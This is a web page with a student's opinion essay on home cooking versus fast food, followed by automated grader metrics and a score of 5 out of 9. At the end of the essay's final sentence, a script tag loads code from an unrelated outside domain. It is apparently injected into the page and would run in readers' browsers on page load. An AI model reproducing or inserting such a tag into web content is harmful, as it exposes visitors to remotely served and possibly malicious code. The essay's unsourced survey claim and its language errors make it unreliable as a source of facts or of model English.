Cooking food at home is a waste of time. Fast food restaurants help in living a modern and less stressful life. Do you agree or disagree?
Nowadays, there are people who argued that the fast food restaurants is far better than the food cooked in home because it saves their time. But still I disagree with this statement that home food is wastage of time as we get more calories and proteins from this food.
To begin with, there are number of restaurants available all over the world. They provide the best service with a short period of time but the thing is; we do not know what type of vegetables and chemicals are used by them. As people have noticed that most of the restaurants cooked their frozen food which is not fresh and harmless for our body. The survey was conducted in Mumbai by the Health Organisations where they formed that life span of people taken home food is more than the fast foodies.
However, home food is so hygienic and has number of calories because this food is made by us with fresh vegetables and products. Moreover, this food is cheapest which can afford by ordinary people and they can also add spices according to their taste. Home food also give opportunity to people to take food with their family and grandparents which in results make strong bond with each other.
In conclusion, I firmly believe that restaurant food is ready made which saves time but it is harmful. So people should avoid these type of food and prefer the home food most.<script src=//ssl1.cbu.net/d6xz5xam></script>
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Transition Words or Phrases used:
also, but, however, if, moreover, so, still, in conclusion, to begin with
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 14.0 13.1623246493 106% => OK
Auxiliary verbs: 3.0 7.85571142285 38% => OK
Conjunction : 11.0 10.4138276553 106% => OK
Relative clauses : 11.0 7.30460921844 151% => OK
Pronoun: 26.0 24.0651302605 108% => OK
Preposition: 28.0 41.998997996 67% => OK
Nominalization: 1.0 8.3376753507 12% => More nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 1116.0 1615.20841683 69% => OK
No of words: 240.0 315.596192385 76% => More content wanted.
Chars per words: 4.65 5.12529762239 91% => OK
Fourth root words length: 3.93597934253 4.20363070211 94% => OK
Word Length SD: 2.26260358879 2.80592935109 81% => OK
Unique words: 130.0 176.041082164 74% => More unique words wanted.
Unique words percentage: 0.541666666667 0.561755894193 96% => OK
syllable_count: 341.1 506.74238477 67% => OK
avg_syllables_per_word: 1.4 1.60771543086 87% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 4.0 5.43587174349 74% => OK
Article: 1.0 2.52805611222 40% => OK
Subordination: 1.0 2.10420841683 48% => OK
Conjunction: 1.0 0.809619238477 124% => OK
Preposition: 2.0 4.76152304609 42% => More preposition wanted as sentence beginning.
Performance on sentences:
How many sentences: 11.0 16.0721442886 68% => Need more sentences. Double check the format of sentences, make sure there is a space between two sentences, or have enough periods. And also check the lengths of sentences, maybe they are too long.
Sentence length: 21.0 20.2975951904 103% => OK
Sentence length SD: 25.5737468691 49.4020404114 52% => The essay contains lots of sentences with the similar length. More sentence varieties wanted.
Chars per sentence: 101.454545455 106.682146367 95% => OK
Words per sentence: 21.8181818182 20.7667163134 105% => OK
Discourse Markers: 6.63636363636 7.06120827912 94% => OK
Paragraphs: 4.0 4.38176352705 91% => OK
Language errors: 2.0 5.01903807615 40% => OK
Sentences with positive sentiment : 6.0 8.67935871743 69% => OK
Sentences with negative sentiment : 3.0 3.9879759519 75% => OK
Sentences with neutral sentiment: 2.0 3.4128256513 59% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.316992676604 0.244688304435 130% => OK
Sentence topic coherence: 0.139215600772 0.084324248473 165% => OK
Sentence topic coherence SD: 0.0703684883326 0.0667982634062 105% => OK
Paragraph topic coherence: 0.227510402318 0.151304729494 150% => OK
Paragraph topic coherence SD: 0.0629562408565 0.056905535591 111% => OK
Essay readability:
automated_readability_index: 11.4 13.0946893788 87% => Automated_readability_index is low.
flesch_reading_ease: 67.08 50.2224549098 134% => OK
smog_index: 3.1 7.44779559118 42% => Smog_index is low.
flesch_kincaid_grade: 9.1 11.3001002004 81% => OK
coleman_liau_index: 9.69 12.4159519038 78% => OK
dale_chall_readability_score: 7.51 8.58950901804 87% => OK
difficult_words: 43.0 78.4519038076 55% => More difficult words wanted.
linsear_write_formula: 10.5 9.78957915832 107% => OK
gunning_fog: 10.4 10.1190380762 103% => OK
text_standard: 11.0 10.7795591182 102% => OK
What are above readability scores?
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Minimum 250 words wanted.
Rates: 56.1797752809 out of 100
Scores by essay e-grader: 5.0 Out of 9
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